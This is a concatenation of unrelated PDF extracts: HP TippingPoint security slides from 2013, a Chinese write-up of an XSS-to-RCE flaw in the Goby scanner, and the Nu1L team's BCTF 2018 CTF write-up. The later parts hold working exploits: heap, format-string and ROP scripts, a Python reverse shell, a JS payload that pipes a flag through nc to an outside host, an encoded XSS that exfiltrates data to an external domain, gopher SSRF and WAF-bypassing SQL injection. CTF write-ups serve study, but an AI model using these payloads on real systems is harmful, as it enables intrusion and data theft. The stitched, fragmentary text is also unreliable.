phishing sites
discovered monthly
Malware Depots
Estimates of 2,500
- 50,000 new
malware depots
discovered daily
Compromised Hosts
Millions worldwide
Spammers
Up to 80% of spam generated
by top 100 spammers
Stop All Communications
with Bad IP and Domain
HP TippingPoint Reputation Feeds
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. HP Confidential.
21
ThreatDV stops Botnet-- Real Case
HP TippingPoint Reputation Feed
Multiple inside devices
communicate with a
malicious IP in
midnight
Czech Republic
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
DDoS
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. HP Confidential.
23
Real Case Study 1 (Stuff up the link of a manufacture )
ICMP Fragmented Packet
(Compare with history behavior)
(ICMP Fragment events show up a pick on
5/31)
ICMP Fragment Flooding consumes bandwidth
We found over 10,000,000 ICMP Fragmented Packets in one hour. The packet size is 1,500Bytes. It means this
ICMP flooding consumes 33Mbps bandwidth.
Manufacture in SH
Data Center in TP
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. HP Confidential.
24
Trend analysis helps detecting abnormal traffic in real time
Drill Down
We can see all attack sources
(Inside IP- Botnet)
(Destination- Victim)
(Huge
Amount)
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. HP Confidential.
25
Real Case Study 2 (Brute force attack)
(17:39, Brute Force AD event burst)
(We can find
attackers in 1
min)
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. HP Confidential.
26
Real Case Study 3 (Crash DNS Service)
Huge DNS NX Domain Query
FW/DNS can’t handle them
Impact Web browsing
(134 source IP addresses send NX Domain
queries at the same time)
1: Probe detects abnormal NX Domain Query
DNS Protection Solution: Deployment Example
internet
DNS
Perimeter
1
1
Probe Analyzer
Probe Analyzer
Probe Analyzer
Probe Analyzer
Enterprise Users
IDC
Mobile
Home
HP TippingPoint IPS
HP TippingPoint IPS
HP TippingPoint IPS
HP TippingPoint IPS
HP TippingPoint SMS
HP TippingPoint SMS
HP TippingPoint SMS
HP TippingPoint SMS
2: Probe sends NX Domain blocking list to TippingPoint SMS
DNS Protection Solution: Deployment Example
internet
DNS
Perimeter
2
1
1
Probe Analyzer
Probe Analyzer
Probe Analyzer
Probe Analyzer
Enterprise Users
IDC
Mobile
Home
HP TippingPoint IPS
HP TippingPoint IPS
HP TippingPoint IPS
HP TippingPoint IPS
HP TippingPoint SMS
HP TippingPoint SMS
HP TippingPoint SMS
HP TippingPoint SMS
3: SMS updates policy to block NX Domain queries. It’s not IP isolation. All normal domain queries will be
allowed
DNS Protection Solution: Deployment Example
internet
DNS
Perimeter
2
1
1
3
Probe Analyzer
Probe Analyzer
Probe Analyzer
Probe Analyzer
Enterprise Users
IDC
Mobile
Home
HP TippingPoint IPS
HP TippingPoint IPS
HP TippingPoint IPS
HP TippingPoint IPS
HP TippingPoint SMS
HP TippingPoint SMS
HP TippingPoint SMS
HP TippingPoint SMS
Block
Block
Block
Block
To deny NX Domain
query is the best solution
against NX Domain
attacks using spoof IPs
Deny NX Domain Query- 24 hours statistic
Deny NX Domain queries- Save DNS servers
DNS Amplify – Generate 28-40 times traffic
ANY Request
using victim’s IP
address
Victim
DNS
Servers
Zombie
A Records…
MX Records…
….
HP TippingPoint
Major Purpose- Consume bandwidth
DNS Amplify TOP 10 Makers- 24 hours statistic
They are not user’s IPs (Spoofed IP address)
They are not user’s IPs (Spoofed IP address)
They are not user’s IPs (Spoofed IP address)
They are not user’s IPs (Spoofed IP address)---- Should be hacker’s target
Should be hacker’s target
Should be hacker’s target
Should be hacker’s target
DDoS
DDoS
DDoS
DDoS防禦案例
防禦案例
防禦案例
防禦案例((((不當流覽網頁
不當流覽網頁
不當流覽網頁
不當流覽網頁))))---- 即時分析得知
即時分析得知
即時分析得知
即時分析得知,,,,立即消弭
立即消弭
立即消弭
立即消弭
惡意流
惡意流
惡意流
惡意流
覽來源
覽來源
覽來源
覽來源
2/19 02:54
2/19 02:54
2/19 02:54
2/19 02:54
異常突增
異常突增
異常突增
異常突增
一台電腦一
一台電腦一
一台電腦一
一台電腦一
分鐘流覽首
分鐘流覽首
分鐘流覽首
分鐘流覽首
頁
頁
頁
頁368
368
368
368次
次
次
次????
遭惡意
遭惡意
遭惡意
遭惡意
流覽的
流覽的
流覽的
流覽的
網站
網站
網站
網站IP
IP
IP
IP
DDoS
DDoS
DDoS
DDoS防禦案例
防禦案例
防禦案例
防禦案例(SSH
(SSH
(SSH
(SSH登入猜測
登入猜測
登入猜測
登入猜測))))---- 即時分析得知
即時分析得知
即時分析得知
即時分析得知,,,,立即消弭
立即消弭
立即消弭
立即消弭
惡意攻擊來源
惡意攻擊來源
惡意攻擊來源
惡意攻擊來源
223.4.36.10
223.4.36.10
223.4.36.10
223.4.36.10
2/12 07:45
2/12 07:45
2/12 07:45
2/12 07:45
異常突增
異常突增
異常突增
異常突增
針對多個目標
針對多個目標
針對多個目標
針對多個目標
進行巨量
進行巨量
進行巨量
進行巨量SSH
SSH
SSH
SSH
登入猜測
登入猜測
登入猜測
登入猜測
---- FW
FW
FW
FW效能
效能
效能
效能????
瞬間發
瞬間發
瞬間發
瞬間發
出巨量
出巨量
出巨量
出巨量
SSH
SSH
SSH
SSH登入
登入
登入
登入
請求
請求
請求
請求
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
2013 Risk Report
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
Vulnerability Trends
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. HP Confidential.
37
Disclosed vulnerabilities measured by NVD, 2010–2013
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. HP Confidential.
38
High-severity vulnerabilities are decreasing
Disclosed vulnerabilities by severity measured by NVD, 2010–2013
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. HP Confidential.
39
SCADA systems increasingly targeted
SCADA submissions to the Zero Day Initiative, 2010–2013
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
Mobile
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. HP Confidential.
41
Mobile prevalence only continues to grow
1 Sophos Labs 2013
2 intomobile.com/2013/07/03/more-than-160-billion-apps-downloaded-2017
3 Smart Insights, Jupiter Research 2013
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. HP Confidential.
42
Mobile Security Landscape
Explosion in usage
•
Cyber Monday 2013: 55.4% year over year mobile shopping
increase1.
Mobile security efforts lag behind their web counterparts
•
While both suffer from the same type of vulnerabilities,
mobile security not yet as disciplined.
Mobile apps are easily exploitable
•96% of attacks not particularly difficult to execute2.
1 IBM Analytics
2 2012 Data Breach Investigations Report (DBIR), Verizon Business, April 2012
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. HP Confidential.
43
Global 2000 Mobile Security study
Tested more than 2000 mobile applications from 600+ companies
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. HP Confidential.
44
HP 2013 Cyber Risk Report
Mobile – Top Issues
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. HP Confidential.
45
HP 2013 Cyber Risk Report
Mobile – Top 4 client side issues
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. HP Confidential.
46
HP 2013 Cyber Risk Report
Mobile – Top 4 issues
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. HP Confidential.
47
Core Area
Core Area
Wireless Area
行動裝置的連結認證與持續監控流程
Internet
Wireless Management
DHCP/DNS
Access Point
Login Portal (BYOD)
AD/RADIUS
Analyzer
TippingPoint
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. HP Confidential.
48
一張表格讓IT人員掌握BYOD的使用情況
Time
Event
Hit Count Private SourceIP Public SourceIPUsername
Source MAC
Location
2012/5/7
21:361400: SMB Windows Logon Failure
152192.168.1.222
210.100.38.101 Robin Shih
00-50-56-C0-00-01 AP-1
2012/5/7
21:449991: HTTPS: Google Gmail Access
2192.168.1.33
210.100.38.101 Sandy Chen
00-50-56-DF-11-1A AP-1
2012/5/7
21:45
192.168.2.166
210.100.38.102 Ken Yip
00-50-56-62-13-2F AP-2
2012/5/7
21:52
2270: BitTorrent: Peer-to-Peer
Communications
69192.168.1.33
210.100.38.101 Sandy Chen
00-50-56-DF-11-1A AP-1
2012/5/7
21:59
192.168.1.45
210.100.38.101 Richard Chou 00-50-56-00-14-B4 AP-1
2012/5/7
22:17
6545: MS-RPC: Microsoft Server
Service Buffer Overflow
1192.168.2.88
210.100.38.102 Peter White
00-50-56-77-11-54 AP-2
2012/5/7
22:22
192.168.1.77
210.100.38.101 Jeremy Lin
00-50-56-DD-30-6AAP-1
2012/5/7
22:255670: HTTP: SQL Injection (SELECT)
17192.168.2.88
210.100.38.102 Peter White
00-50-56-77-11-54 AP-2
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
Q&A
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. HP Confidential. .
Thank you | pdf |
GOBY
0x00
awvsgoby
0x01
windowsgobymac
/Applications/Goby.app app
electronapp.asarjs
asar e app.asar builddist
jsbuilddist
exec
execSync
scan.js
render.js
90000js
0x02
xsshttp
goby
xss
ip
phpphpvendor
headerh1phphttpserver
XSSscriptimg
<img src="x" onerror="alert(1);">
tab
XSS
jbXSS
ip
8080
xss
0x03 XSSRCE
XSSelectronXSSRCEhttps://www.uedbox.com/post/54188/
require('child_process').exec('xxxxxxx');
rce
N
1. tabjs
2.
3.
4. '-'
${IFS} //IFS
{'ls','-a'} //
exec
execjs
execFile
js
1. goby
2. phpheaderxssjs
3. js
4. jbxssrce
phpindex.php
<?php
header("X-Powered-By: PHP/<img src=\"x\" onerror=import(unescape('http%3A//127.0.0.1/test2.js'))>");
?>
%3ACamarotest2.js
(function(){
require('child_process').exec('open /System/Applications/Calculator.app');
require('child_process').exec('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_ST
REAM);s.connect(("127.0.0.1",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess
.call(["/bin/sh","-i"]);\'');
})();
pyshell99999999ncjsgoby
chromejs
php
sudo php -S 127.0.0.1:80 -F index.php
goby->IP->XSS->RCE
0x04
gobyXSSshell
js
RCEXSSRCE
jsexecXSSXSS
XSSRCE
1clickr1
0x05 goby
gobygoby
web
goby
urlurl
url
goby30x
302127.0.0.1
http://127.0.0.1:8361/api/v1/deleteTask.html?id=20210812180320
OK
api
RCE | pdf |
BCTF 2018
By Nu1L
BCTF 2018
PWN
easiest
three
hardcore_fmt
SOS
easywasm
Reverse
easypt
Web
checkin
SimpleVN
babySQLiSPA
SEAFARING1
SEAFARING2
Crypto
guess_polynomial
guess_number
BlockChain
EOSGame
Fake3D
MISC
easysandbox
https://bctf.xctf.org.cn/ 1127 14:00 - 1129 02:00
PWN
easiest
Double Freetcache Leak GOT0x40size
from pwn import *
#p = process('./easiest')
p = remote('39.96.9.148', 9999)
def add(idx, size, c):
p.recv()
three
p.sendline('1')
p.recvuntil('(0-11):')
p.sendline(str(idx))
p.recvuntil('Length:')
p.sendline(str(size))
p.recvuntil('C:')
p.sendline(c)
def dele(idx):
p.recv()
p.sendline('2')
p.recvuntil('(0-11):')
p.sendline(str(idx))
add(0, 0x38, 'aaa')
add(1, 0x38, 'bbb')
dele(0)
dele(1)
dele(0)
add(2, 0x38, p64(0x60203a))
add(3, 0x38, p64(0x60203a))
add(4, 0x38, p64(0x60203a))
add(5, 0x38, '\x40\x00\x00\x00\x00\x00' + p64(0x400946) * 5)
p.interactive()
from pwn import *
def add(cont):
p.recvuntil('choice')
p.sendline('1')
p.recvuntil('content:')
p.send(cont)
def edit(idx,cont):
p.recvuntil('choice')
p.sendline('2')
p.recvuntil('idx')
p.sendline(str(idx))
p.recvuntil('content:')
p.send(cont)
def dele(idx,cl = 'n'):
p.recvuntil('choice')
p.sendline('3')
p.recvuntil('idx')
p.sendline(str(idx))
p.recvuntil('):')
p.sendline(cl)
while True:
try:
p=remote('39.96.13.122', 9999)
#p=process('./three')#,env={'LD_PRELOAD':'./libc.so.6'})
add('\n')
add('\n')
add((p64(0xc0)+p64(0x21))*4)
dele(2,'y')
dele(1,'y')
dele(0)
edit(0,'\x70')
add('\x70')
add('\n')
edit(0,p64(0)+p64(0x91))
dele(1,'y')
dele(2)
dele(2)
dele(2)
dele(2)
dele(2)
dele(2)
dele(2)
edit(0,p64(0)+p64(0x51))
dele(2)
edit(0,p64(0)+p64(0x91))
dele(2,'y')
x = 0xa8#int(raw_input(),16)#
edit(0,p64(0)+p64(0x51)+'\xe8'+chr(x))
add('\xe8'+chr(x))
#add(p64(0xffffffffff600400))
add(p64(0))
dele(1)
dele(1,'y')
edit(0,p64(0)+p64(0x51)+'\x78')
edit(2,p64(0xffffffffff600400))
add('\x78')
dele(1,'y')
add('\xd8'+chr(x))
dele(0,'y')
add('\x40')
dele(0,'y')
add('\n')
dele(0,'y')
add('/bin/sh\x00')
BCTF{U_4r3_Ready_For_House_OF_ATUM}
hardcore_fmt
a =0xa9#int(raw_input(),16)
b =0x26#int(raw_input(),16)
c =0x94# int(raw_input(),16)
edit(2,chr(a)+chr(b)+chr(c))
p.recvuntil('choice')
p.sendline('3')
re = p.recvuntil('idx',timeout=0.8)
if re[-1:] != 'x':
continue
p.sendline('0')
p.sendline('cat flag;bash')
re = p.recvuntil('(y/n)',timeout = 0.8)
if re:
print re
continue
p.sendline('echo 123;cat flag')
p.interactive()
except:
p.close()
continue
#coding=utf8
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
context.aslr = False
def pwn(p):
p.recvuntil('Welcome to hard-core fmt\n')
p.sendline('%a'*5)
p.recvuntil('0x0p+00x0.0000000000001p-10220x0.0')
addr1 = int(p.recvuntil('p-10220x0.0', drop=True) + '00', 16) - 0x100 -
0x1000
log.success('addr1: {}'.format(hex(addr1)))
addr2 = int(p.recvuntil('p-10220x0.0', drop=True) + '00', 16) - 0x1500
log.success('addr2: {}'.format(hex(addr2)))
p.sendline(str(addr2 + 0x14c0 + 0x68 + 1))
p.recvuntil(': ')
# getsstack_addr
libc_base = addr1 - 0x619000
ld_base = addr1 - 0x228000
log.success('libc_base: {}'.format(hex(libc_base)))
log.success('ld_base: {}'.format(hex(ld_base)))
mem_addr = libc_base + 0x3EB0A8 # strlen
mem_addr = libc_base + 0x3EB140 # memcpy
SOS
canary = '\x00' + p.recv(7)
log.success('cnaary: {}'.format(hex(u64(canary))))
payload = 'a'*0x108 + canary + 'b'*0x8 + p64(mem_addr) + 'c'*0x8 +
p64(0xffffffffff600000) * 7
p.sendline(payload)
# leak program
p.sendline(str(addr1 + 0x30 + 0x1000))
p.recvuntil(': ')
program_base = u64(p.recv(6) + '\x00\x00') - 0x238
log.success('program_base: {}'.format(hex(program_base)))
payload = p64(program_base + 0x970) # start
p.sendline(payload)
#
p.recvuntil('Welcome to hard-core fmt\n')
p.sendline('hahaha')
p.recvuntil('hahaha')
p.sendline(str(addr2))
p.recvuntil(': ')
# 0x000000000002155f : pop rdi ; ret
payload = 'a'*0x108 + canary + 'b'*0x8 + p64(mem_addr) + 'c'*0x8
payload += p64(libc_base + 0x21560) #
payload += p64(libc_base + 0x000000000002155f) + p64(libc_base +
0x1B3E9A)
payload += p64(libc_base + 0x4F440)
#gdb.attach(p)
p.sendline(payload)
p.interactive()
if __name__ == '__main__':
p = process('./hardcore_fmt')
p = remote('39.106.110.69', 9999)
pwn(p)
from pwn import *
#p = process('./SOS', env = {'LD_PRELOAD': './libc-2.27.so'})
p = remote('39.96.8.50', 9999)
p.recvuntil('Give me the string size:')
p.sendline('0')
p.recvuntil('Alright, input your SOS code:')
payload = '\x00' * 56
payload += p64(0x400c53)
payload += p64(0x602020)
payload += p64(0x4008E0)
payload += p64(0x400AFC)
#raw_input()
p.send(payload + '\x00' * 8192)
p.recvline()
puts = p.recvline().strip()
puts_addr = u64(puts.ljust(8, '\x00'))
libc_addr = puts_addr - 0x809c0
print hex(puts_addr)
print hex(libc_addr)
system_addr = libc_addr + 0x4f440
binsh_addr = libc_addr + 0x1b3e9a
mov_qword_ptr_rsi_rdi = libc_addr + 0x1401fd
poprsi = libc_addr + 0x23e6a
poprdi = libc_addr + 0x2155f
poprdx = libc_addr + 0x01b96
open_addr = libc_addr + 0x10fc40
read_addr = 0x400900
write_addr = libc_addr + 0x110140
payload = '\x00' * 56
payload += p64(poprdi)
payload += "flag\x00\x00\x00\x00"
payload += p64(poprsi)
payload += p64(0x602080)
payload += p64(mov_qword_ptr_rsi_rdi)
payload += p64(poprdi)
payload += p64(0x602080)
payload += p64(poprsi)
payload += p64(0)
payload += p64(open_addr)
payload += p64(poprdi)
payload += p64(3)
payload += p64(poprsi)
payload += p64(0x602080)
payload += p64(poprdx)
easywasm
The WASM module is used to perform operation with the help of the outside layer. Reversing
the module we could easily found a buffer overflow caused by strcpy . Since the module
imports __emscripten_run_script , we could overwrite the function pointer (which is actually
a table index) and run some javascript.
payload += p64(100)
payload += p64(read_addr)
payload += p64(poprdi)
payload += p64(1)
payload += p64(poprsi)
payload += p64(0x602080)
payload += p64(write_addr)
#raw_input()
p.recvuntil('Alright, input your SOS code:')
raw_input()
p.send(payload + 'A' * 10000)
#p.shutdown('write')
p.interactive()
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import requests, sys, os, urllib, IPython
s = requests.session()
#URL = 'http://localhost:23333/'
URL = 'http://39.96.13.247:9999/'
def add_person(name, is_tutor=0):
url = URL + 'add_person?'
url += 'name=' + urllib.quote(name)
url += '&is_tutor=' + urllib.quote(str(is_tutor))
print url
resp = s.get(url)
if 'person id =' not in resp.content:
raise Exception("Failed allocation")
index = int(resp.content[resp.content.index(' = ') + 3:])
return index
def change_name(idx, name):
url = URL + 'change_name?'
Reverse
easypt
https://github.com/andikleen/simple-pt/blob/master/fastdecode.c
4007C7call0x52f0
url += 'id=' + urllib.quote(str(idx))
url += '&name=' + urllib.quote(name)
resp = s.get(url)
print resp.content
return 'done' in resp.content
def intro(idx):
url = URL + 'intro?'
url += 'id=' + urllib.quote(str(idx))
resp = s.get(url)
return resp.content
'''
struct person_t {
i32 idx;
i32 in_use;
u8 name[60];
i32 func_idx;
}
'''
base = 4064
size = 72
idx = add_person('123', 0)
print idx
payload = 'this.a = require("child_process");//'
print len(payload)
assert len(payload) <= 60
payload = payload.ljust(60, ';') + p8(5)
print change_name(idx, payload)
print intro(idx)
payload = 'a.execSync("cat flag | nc <redacted> 9999");//'
assert len(payload) <= 60
print change_name(idx, payload)
print intro(idx)
print 'Done!'
Web
checkin
url, 404 :
Powered by beego 1.7.2
gitea/gogsCVE-2018-18925/6,
go-macaron(https://github.com/go-macaron/session version<0.4.0)
beego(https://github.com/astaxie/beego version<1.11.0)
, sessionprovidersession cookie ./ ,
sessionbug.
0b, session, ,
, (, )
session, , gosessionid
../../../../../../go/src/github.com/checkin/website/static/img/avatar/xxxxxxx
.png , Admin Panel , flag.
f = open('ttt')
d = f.read()
f.close()
import re
s = r'tnt8 ([N,T]+)'
dd = re.findall(s,d)
res = ''
for i in dd:
res += i
sss = r'((NT)+)TTT'
de2 = re.findall(sss,res)
de = ''
for i in de2:
t = len(i[0])/2
de += chr(t+0x20)
print(de)
# bctf{19c512c582879daf358404a9748cfdbb}!!
UID int
uit int64 #
username string
package main
import (
SimpleVN
1. pug
:
"bytes"
"encoding/gob"
)
func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
for _, v := range obj {
gob.Register(v)
}
buf := bytes.NewBuffer(nil)
err := gob.NewEncoder(buf).Encode(obj)
return buf.Bytes(), err
}
func DecodeGob(encoded []byte) (map[interface{}]interface{}, error) {
buf := bytes.NewBuffer(encoded)
dec := gob.NewDecoder(buf)
var out map[interface{}]interface{}
err := dec.Decode(&out)
if err != nil {
return nil, err
}
return out, nil
}
#{ }
ssti require
global
:
2. url(puppeteer[chrome])headerurlheader
const checkPUG = (upug) => {
const fileterKeys = ['global', 'require']
return /^[a-zA-z0-9\.]*$/g.test(upug) && !fileterKeys.some(t =>
upug.toLowerCase().includes(t))
}
...
console.log('Generator pug template')
const uid = req.session.user.uid
const body = `#{${upug}}`
console.log('body', body)
const upugPath = path.join('users', utils.md5(uid), `${uid}.pug`)
console.log('upugPath', upugPath)
try {
fs.writeFileSync(path.resolve(config.VIEWS_PATH, upugPath), body)
} catch (err) {
...
:
urlhosthost
render file:// host
/etc/passwd
flag
config.js
const checkURL = (shooturl) => {
const myURL = new URL(shooturl)
return config.SERVER_HOST.includes(myURL.host)
}
file:// app.js
flagpath
http:// flag
, FLAG_PATH FLAGFILENAME
ssti
this /local/render global
FLAGFILENAME process.env.FLAGFILENAME
FLAGFILENAME
require FLAG_PATH config.js
Web process.env.PWD html
chrome
view-source: html
...
const FLAG_PATH = path.resolve(constant.ROOT_PATH, '********')
...
const FLAGFILENAME = process.env.FLAGFILENAME || '********'
...
.use(express.static(config.FLAG_PATH))
config.js
flagflag:
Range header request header
2000flag
babySQLiSPA
api/hints waf:
gtid_subtracttable140
hint='or(gtid_subtract((select(group_concat(table_name))from(information_schema.tables)
where((length(table_name)=ord('j')^ord('t')))),''))or'
export function checkHint (hint) {
return ! / |;|\+|-|\*|\/|
<|>|~|!|\d|%|\x09|\x0a|\x0b|\x0c|\x0d|`|gtid_subset|hash|json|st\_|updatexm
l|extractvalue|floor|rand|exp|json_keys|uuid_to_bin|bin_to_uuid|union|like|
sleep|benchmark/ig.test(hint)
}
30flag
vhEFfFlLlLaAAaaggIiIIsSSHeReEE
hint='||gtid_subtract((select(concat(column_name))from(information_schema.columns)w
here(table_name='vhEFfFlLlLaAAaaggIiIIsSSHeReEE')),'')#
flag {"error":"Malformed GTID set specification 'BCTF{060950FB-839E-4B57-
B91D-51E78F56856F}'."}
SEAFARING1
bot
view-source:http://seafaring.xctf.org.cn:9999/admin/ api
handle_message.php XSS
botfirefox
htmlbot
xss,js
<html>
<script>
window.onload =function(){
document.getElementById("f").submit();
}
</script>
<form method="post"
action="http://seafaring.xctf.org.cn:9999/admin/handle_message.php" id="f">
<input name="token" value="<body><img src=x
onerror=eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,98,111,1
00,121,46,97,112,112,101,110,100,67,104,105,108,100,40,100,111,99,117,109,1
01,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99
,114,105,112,116,39,41,41,46,115,114,99,61,39,104,116,116,112,58,47,47,120,
56,122,46,116,111,112,47,120,98,53,77,63,97,61,98,39))></body>">
</form>
</html>
function req(url,data){
var xhr = new XMLHttpRequest();
xhr.open("POST",url,false);
xhr.setRequestHeader("Content-Type","application/x-www-form-
urlencoded");
xhr.send(data);
var resp = xhr.responseText;
return resp;
}
function getcsrf(){
var xhr = new XMLHttpRequest();
xhr.open("GET","http://seafaring.xctf.org.cn:9999/admin/index.php",false);
xhr.send();
var res = xhr.responseText;
var csrftoken = res.match(/csrf_token = \"([a-z0-9]*)\"/ig)[0].split('=
"')[1].replace('"','');
return csrftoken;
}
function send(data){
location.href = "http://data.ebcece08.w1n.pw/?data="+escape(data);
}
bot sqlquery debug
addslashes()
(view_unreads)
flag
SEAFARING2
cookie:
var ress =
req("http://172.20.0.2:6379/","token="+getcsrf()+"&action=view_unreads&stat
us=3%20%20and%201%3D2%20union%20select%201%2Cload_file%280x2f70726f632f6e65
742f617270%29%2C3%2C4%20from%20f111111ag%23");
send(ress);
{"result":"","error":"sql query error! debug info:SELECT
timestamp,user_name,uid,is_checked,message FROM feedbacks where uid='1'
ORDER BY id DESC "}
{"result":"","error":"sql query error! debug info:SELECT
timestamp,user_name,uid,is_checked,message FROM feedbacks where uid='1\\'or
1#' ORDER BY id DESC "}
{"result":"","error":"sql query error! debug info:SELECT
timestamp,user_name,uid,is_checked FROM feedbacks where is_checked=1\\'
ORDER BY id DESC limit 0,50"}
{"result":[["1","admin,f111111ag,feedbacks","3","4"]],"error":""}
{"result":[["1","flllllag","3","4"]],"error":""}
{"result":[["1","bctf{XsS_SQL1_7438x_2xfccmk}","3","4"]],"error":""}
load_file
... /etc/hosts
ip 172.20.0.3
172.20.0.2:4444
{"result":[["1","<?php \nfunction curl($url){\n $ch = curl_init();\n
curl_setopt($ch, CURLOPT_URL, $url);\n curl_setopt($ch, CURLOPT_HEADER,
0);\n $re = curl_exec($ch);\n curl_close($ch);\n return
$re;\n}\nif(!empty($_POST['You_cann0t_guu3s_1t_1s2xs'])){\n $url =
$_POST['You_cann0t_guu3s_1t_1s2xs'];\n curl($url);\n}else{\n
die(\"Hint: Just for web2! :)\");\n}\n?>","3","4"]],"error":""}
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
$re = curl_exec($ch);
curl_close($ch);
return $re;
}
if(!empty($_POST['You_cann0t_guu3s_1t_1s2xs'])){
$url = $_POST['You_cann0t_guu3s_1t_1s2xs'];
curl($url);
}else{
die("Hint: Just for web2! :)");
}
?>
{"result":[["1","127.0.0.1\tlocalhost\n::1\tlocalhost ip6-localhost ip6-
loopback\nfe00::0\tip6-localnet\nff00::0\tip6-mcastprefix\nff02::1\tip6-
allnodes\nff02::2\tip6-
allrouters\n172.20.0.3\tb557ee5b8a02\n","3","4"]],"error":""}
selenium server
selenium server
http://www.polaris-lab.com/index.php/archives/454/
file:// gopher
console
session
/wd/hub/sesssions session
api file:///
(base64)
POST /wd/hub/session HTTP/1.1
Host: 127.0.0.1:4444
Content-Length: 49
Accept: application/json; charset=utf-8
Origin: http://127.0.0.1:4444
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Referer: http://127.0.0.1:4444/wd/hub/static/resource/hub.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
{"desiredCapabilities":{"browserName":"firefox"}}
POST /wd/hub/session/32621f2a19c3c4a4b51201e951831006/url HTTP/1.1
Host: 127.0.0.1:4444
Content-Length: 18
Accept: application/json; charset=utf-8
Origin: http://127.0.0.1:4444
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Referer: http://127.0.0.1:4444/wd/hub/static/resource/hub.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
{"url":"file:///"}
GET /wd/hub/session/1c602a62-cc09-4a1e-af5c-52b8715228ac/screenshot
gopher:// post
example:
file:/// html
You_cann0t_guu3s_1t_1s2xs=gopher://172.20.0.2:4444/_POST%2520%252fwd%252fhu
b%252fsession%252f1c602a62-cc09-4a1e-af5c-
52b8715228ac%252furl%2520HTTP%252f1.1%250AHost%253A%2520127.0.0.1%253A4444%
250AContent-
Length%253A%252038%250AAccept%253A%2520application%252fjson%253B%2520charse
t%253Dutf-
8%250AOrigin%253A%2520http%253A%252f%252f127.0.0.1%253A4444%250AUser-
Agent%253A%2520Mozilla%252f5.0%2520%2528Macintosh%253B%2520Intel%2520Mac%25
20OS%2520X%252010_13_6%2529%2520AppleWebKit%252f537.36%2520%2528KHTML%252C%
2520like%2520Gecko%2529%2520Chrome%252f70.0.3538.102%2520Safari%252f537.36%
250AContent-Type%253A%2520text%252fplain%253Bcharset%253DUTF-
8%250AReferer%253A%2520http%253A%252f%252f127.0.0.1%253A4444%252fwd%252fhub
%252fstatic%252fresource%252fhub.html%250AAccept-
Encoding%253A%2520gzip%252C%2520deflate%252C%2520br%250AAccept-
Language%253A%2520zh-
CN%252Czh%253Bq%253D0.9%252Cen%253Bq%253D0.8%250AConnection%253A%2520close%
250A%250A%257B%2522url%2522%253A%2522file%253A%252f%252f%252fTh3_MosT_S3cR3
T_fLag%2522%257D
<img src="data:imgage/png;base64,">
flag
Crypto
guess_polynomial
We can simply pass a very large x to the polynomial.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
VERBOSE = 1
if VERBOSE:
context.log_level = 'debug'
io = remote('39.96.8.114', 9999)
while 1:
mynum = int('1'+'0'*50)
io.sendlineafter('coeff','1'+'0'*50)
io.recvuntil('sum:')
num = int(io.recvuntil('\n').strip())
coeff = []
guess_number
It's not hard to understand (as a newbie in cryptography and math like me) the algorithm with
the help of this. Basically if we want to know we can have a vector
which is close to
, and is spanned by the
lattice mentioned in the slides. This converts the HNP to a CVP over a specified lattice. We could
then apply babai's nearest plane algorithm to solve it.
while(num > mynum):
coeff.append(str(num%mynum).strip('L'))
num /= mynum
io.recvuntil('coeff')
coeff.append(str(num).strip('L'))
io.sendline(' '.join(coeff[::-1]))
import socket
import ast
import telnetlib
#HOST, PORT = 'localhost', 9999
HOST, PORT = '60.205.223.220', 9999
s = socket.socket()
s.connect((HOST, PORT))
f = s.makefile('rw', 0)
def recv_until(f, delim='\n'):
buf = ''
while not buf.endswith(delim):
buf += f.read(1)
return buf
p = 1461501637330902918203684832716283019655932542983
k = 10
def solve_hnp(t, u):
# http://www.isg.rhul.ac.uk/~sdg/igor-slides.pdf
